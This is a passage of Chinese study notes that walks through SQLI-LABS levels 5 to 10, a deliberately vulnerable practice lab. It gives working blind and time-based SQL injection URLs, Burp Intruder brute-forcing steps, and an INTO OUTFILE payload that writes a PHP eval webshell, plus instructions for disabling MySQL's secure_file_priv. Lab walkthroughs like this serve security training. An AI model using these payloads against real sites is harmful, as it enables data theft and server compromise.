SQLI-LABS学习笔记(二)
逼话少说,如有错误,烦请指出,谢谢
这两天生病,效率很低
第5关
打开页面
发现跟前几题不同,没有直接返回数据.。
加个单引号
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
报错信息发现已经被闭合了,那我们就order by 试一下看看
发现能有成功查询会返回 You are in ,而不会返回查询的数据,这题是一题盲注题
盲注就需要我们一个一个的猜字符了,
先构造注入语句
http://10.2.10.31/sqli/Less-5/?id=1' and
ascii(substr(database(),1,1)) > 10 --+
函数不懂的话可以使用搜索引擎查询
原理就是,获取当前的数据库的第一个字符,由于我们之前做了前几题,知道是s
所以我们直接用s来试,节约时间。
发现回显正常,换一个字符就没回显了,就说明s是第一个字符,以此类推获得整个数据库名。
再之后可以查询数据库中表的名称,方法也是一样,我贴一条
http://10.2.10.31/sqli/Less-5/?id=1' and
substr((select table_name from information_schema.tables where table_schema =
'security' limit 0,1),1,1) = 'e' --+
这样推,就可以把这题做出来。
当然,这样是最慢的方法,但是还是要掌握的。
我们可以使用bp的爆破模块来进行爆破。
首先先抓到我们需要的包
我这里就抓查询表的包了,之后把抓到的包发到爆破模块,intruder里面。
由于里面会默认选择爆破的信息,我们需要先点击clear。
选中要爆破的字符
再到payloads里面设置一下字典,这里我们可以选择他自带的字典。
并且修改字符最大值为1,最小值也为1
然后再到options里面设置一下线程。
最后点击start attack 就可以开始了
以此类推。
第五关结束。
第六关
第六关就是把单引号换成双引号,其他的都一样,没区别
第六关结束
第七关
测试注入
http://10.2.10.35/sqli/Less-7/?id=1'
报错,说明可能存在sql注入
继续测试,
当用1=2判断的时候,发现回显正常
最后测试,发现用http://10.2.10.35/sqli/Less-7/?id=1')) 可以成功闭合
之后提示要用outfile来写入文件
可以用第一关来帮助我们找到网站的绝对路径
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
http://10.2.10.35/sqli/Less-1/?id=-1'
union select 1,2,@@basedir --+
构造语句如下
http://10.2.10.35/sqli/Less-7/?id=-1'))
union select 1,'<?php @eval($_POST[value]);?>',3 into outfile
'D:/phpStudy/PHPTutorial/WWW/sqli/Less-7/d.php' --+
遇到写入不了的情况应该是mysq没有设置好
可以在mysql的命令行查看一下secure-file-priv当前的值
show variables like ‘%secure%’;
如果为Null
这则需要打开mysql下的my.ini文件,在其中添加上 secure_file_priv=”/”
之后使用菜刀就可以连接了。
第七关结束
第八关
测试注入点
http://10.2.10.35/sqli/Less-8/?id=1'
发现无回显
http://10.2.10.35/sqli/Less-8/?id=1'
--+
有回显
说明我们已经成功闭合了
就可以按照之前盲注的思路,接着注入就能得到答案
还有一种方法是通过if判断,利用sleep进行时间盲注
构造语句如下
http://10.2.10.35/sqli/Less-8/?id=1' and
if(length(database())>10,1,sleep(5))
--+
先判断长度,再用substr函数来判断每一位是什么,这里就不再赘述
第八关结束
第九关
换了一种方式
http://10.2.10.35/sqli/Less-9/?id=1' and sleep(5) --+
利用sleep判断是否执行了我们的sql语句
发现成功以后,还是按照之前的方法继续盲注,方法都一样
第九关结束
第十关
第十关就是把单引号换成了双引号,其他的都一样
第十关结束
SQLI-LABS学习笔记(二)的更多相关文章
- WPF的Binding学习笔记(二)
原文: http://www.cnblogs.com/pasoraku/archive/2012/10/25/2738428.htmlWPF的Binding学习笔记(二) 上次学了点点Binding的 ...
- AJax 学习笔记二(onreadystatechange的作用)
AJax 学习笔记二(onreadystatechange的作用) 当发送一个请求后,客户端无法确定什么时候会完成这个请求,所以需要用事件机制来捕获请求的状态XMLHttpRequest对象提供了on ...
- [Firefly引擎][学习笔记二][已完结]卡牌游戏开发模型的设计
源地址:http://bbs.9miao.com/thread-44603-1-1.html 在此补充一下Socket的验证机制:socket登陆验证.会采用session会话超时的机制做心跳接口验证 ...
- JMX学习笔记(二)-Notification
Notification通知,也可理解为消息,有通知,必然有发送通知的广播,JMX这里采用了一种订阅的方式,类似于观察者模式,注册一个观察者到广播里,当有通知时,广播通过调用观察者,逐一通知. 这里写 ...
- java之jvm学习笔记二(类装载器的体系结构)
java的class只在需要的时候才内转载入内存,并由java虚拟机的执行引擎来执行,而执行引擎从总的来说主要的执行方式分为四种, 第一种,一次性解释代码,也就是当字节码转载到内存后,每次需要都会重新 ...
- Java IO学习笔记二
Java IO学习笔记二 流的概念 在程序中所有的数据都是以流的方式进行传输或保存的,程序需要数据的时候要使用输入流读取数据,而当程序需要将一些数据保存起来的时候,就要使用输出流完成. 程序中的输入输 ...
- 《SQL必知必会》学习笔记二)
<SQL必知必会>学习笔记(二) 咱们接着上一篇的内容继续.这一篇主要回顾子查询,联合查询,复制表这三类内容. 上一部分基本上都是简单的Select查询,即从单个数据库表中检索数据的单条语 ...
- NumPy学习笔记 二
NumPy学习笔记 二 <NumPy学习笔记>系列将记录学习NumPy过程中的动手笔记,前期的参考书是<Python数据分析基础教程 NumPy学习指南>第二版.<数学分 ...
- Learning ROS for Robotics Programming Second Edition学习笔记(二) indigo tools
中文译著已经出版,详情请参考:http://blog.csdn.net/ZhangRelay/article/category/6506865 Learning ROS for Robotics Pr ...
- Redis学习笔记二 (BitMap算法分析与BitCount语法)
Redis学习笔记二 一.BitMap是什么 就是通过一个bit位来表示某个元素对应的值或者状态,其中的key就是对应元素本身.我们知道8个bit可以组成一个Byte,所以bitmap本身会极大的节省 ...
随机推荐
- Java 判断 循环
一.优先级 1.1 先判断5>3,true 6>4 true;然后true==true ,最后是true; 1.2 6>5,true;而true和4无法比较.所以该判断出错: 1.3 ...
- Python语法元素分析
缩进 1个缩进 = 4个空格 用以在Python中标明代码的层次关系 缩进是Python语言中表明程序框架的唯一手段 注释 注释:程序员在代码中加入的说明信息,不被计算机执行 注释的两种方法: 单行注 ...
- Django-使用 include() 配置 URL
如果项目非常庞大,应用非常多,应用的 URL 都写在根 urls.py 配置文件中的话,会显的非常杂乱,还会出现名称冲突之类的问题,这样对开发整个项目是非常不利的. 可以这样解决,把每个应用的 URL ...
- Java第三十一天,用Properties集合操作IO
一.Properties 这个类是线程安全的:多个线程可以共享一个Properties对象,而不需要外部同步 1.常用方法 Object setProperty(String key, String ...
- 深入理解equals和hashCode关系和区别
为什么要说equals和hashCode这两个东西,一来是因为有不少小伙伴面试时被问过这个东西,二来则是因为如果了解了这两个东西的原理,那么实际的开发过程中,对效率和容错率上还是能帮上很大的忙! 直入 ...
- C#使用HTML文件中的file文件上传,用C#代码接收上传文件
单独做图片上传很简单,如果要客户端要上传头像保存到服务器就要稍微麻烦一点点了. 不多说了,直接上源码: private void Upload() { string jsonInfo = string ...
- NonRegisteringDriver造成的内存频繁FullGc
某天上服务器看了下gc情况,发现状况不对,启动了才2天的服务器发生了360次fullgc,这个频率肯定高了 说明 S0C.S1C.S0U.S1U:Survivor 0/1区容量(Capacity)和使 ...
- mysql 单机多实例配置
如果你想在一台机器上进行主从配置实验,本篇可以帮助你实现愿望 [client] #password = your_password port = 3306 socket = /tmp/mysql.so ...
- mysql截取函数常用方法 即mysql 字符串 截取-- - 最后带上java字符串截取规则比较
常用的mysql截取函数有:left(), right(), substring(), substring_index() 下面来一一说明一下: 1.左截取left(str, length) 说明:l ...
- 【Canvas】(2)---绘制折线图
绘制折线图 之前在工作的时候,用过百度的ECharts绘制折线图,上手很简单,这里通过canvas绘制一个简单的折线图.这里将一整个绘制过程分为几个步骤: 1.绘制网格 2.绘制坐标系 3.绘制点 4 ...